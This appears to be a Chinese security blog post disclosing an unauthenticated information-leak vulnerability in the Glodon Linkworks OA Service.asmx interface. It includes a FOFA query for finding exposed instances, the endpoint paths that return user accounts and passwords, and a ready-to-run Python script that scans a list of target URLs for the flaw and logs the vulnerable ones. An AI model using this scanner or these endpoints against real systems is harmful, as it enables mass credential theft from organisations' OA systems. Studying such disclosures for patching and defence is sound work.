当前位置: 首页 > article >正文

广联达 Linkworks办公OA Service.asmx接口存在信息泄露漏洞

漏洞描述

广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。广联达OA存在信息泄露漏洞,由于某些接口没有鉴权,导致未经身份认证的远程攻击者可以利用该接口输出用户的账号密码。

漏洞复现

FOFA

app="Glodon-企业管理产品"

POC

IP+/Org/service/Service.asmx

查看所有用户
/Org/service/Service.asmx/GetUserXml4GEPS
查看账户密码
/Org/service/Service.asmx/GetUserXml4GEPS

查看账户密码

python脚本

import argparse  
import time  
import requests  
from urllib.parse import urlsplit  
import warnings  
from urllib3.exceptions import InsecureRequestWarning  
  
color_red = '\033[91m'  
color_green = '\033[92m'  
color_blue = '\033[94m'  
color_reset = '\033[0m'  
  
def get_url(file):  
    with open(file, 'r', encoding='utf-8') as f:  
        for url in f:  
            url = url.replace('\n', '')  
            if "http" not in url:  
                url = "http://" + url  
            parsed_url = urlsplit(url)  
            base_url = parsed_url.scheme + "://" + parsed_url.netloc  
            send_req(base_url)  
  
def write_result(content):  
    with open("result.txt", "a", encoding="UTF-8") as f:  
        f.write('{}\n'.format(content))  
  
warnings.filterwarnings("ignore", category=InsecureRequestWarning)  
  
def send_req(url_check):  
    url = url_check + '/Org/service/Service.asmx/GetAllUsersXml'  
    header = {  
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",  
        'Connection': 'close'  
    }  
    try:  
        response = requests.get(url=url, headers=header, verify=False, timeout=3)  
        if response.status_code == 200 and "<?xml" in response.text and "UserId=" in response.text and "SUserId=" in response.text and "Code=" in response.text:  
            response = requests.get(url=url_check + '/Org/service/Service.asmx/GetUserXml4GEPS', headers=header, verify=False, timeout=3)  
            if response.status_code == 200:  
                result2 = f"{url_check}/Org/service/Service.asmx/GetUserXml4GEPS"  
                print(color_red + result2 + color_reset)  # Added color_reset to avoid colored text issues  
                write_result(result2)  
        time.sleep(1)  
    except Exception as e:  
        pass  
  
if __name__ == '__main__':  
    parser = argparse.ArgumentParser()  
    parser.add_argument("-f", "--file", help="URL地址文件")  
    args = parser.parse_args()  
  
    if args.file:  
        get_url(args.file)  
    else:  
        print("使用-f加url文件地址")

执行效果


http://www.kler.cn/news/330871.html

相关文章:

  • LeetCode 704. 二分查找
  • 2024年09月CCF-GESP编程能力等级认证C++编程一级真题解析
  • @antv/x6 嵌入结点到父节点中时,进行检测,查看当前节点是否是父结点,如果是父结点,不可以嵌入到父结点中,实现方法一。
  • 【AIGC】内容创作——AI文字、图像、音频和视频的创作流程
  • PHP反序列化7(字符串逃逸)
  • 《OpenCV 计算机视觉》—— Harris角点检测、SIFT特征检测
  • 用systemd 来控制 qt 程序的启动, 停止 . 解决 qt.qpa.xcb: could not connect to display 问题
  • 工程师 - 如何配置DNS服务器
  • 基于yolov8调用本地摄像头并将读取的信息传入jsonl中
  • SpringBoot框架下的社区医院信息系统开发
  • Stream流的终结方法(二)——collect
  • 2024大二上js高级+ES6学习9.29(深/浅拷贝,正则表达式,let/const,解构赋值,箭头函数,剩余参数)
  • 并集运算的线段树维护方式
  • c++就业磁盘链式b树与b+树
  • 3. 将GitHub上的开源项目导入(clone)到本地pycharm上——深度学习·科研实践·从0到1
  • 滚雪球学MySQL[7.1讲]:安全管理
  • 【笔记】数据结构12
  • Dubbo和Http的调用有什么区别
  • 【Docker】docker的存储
  • el-table动态表头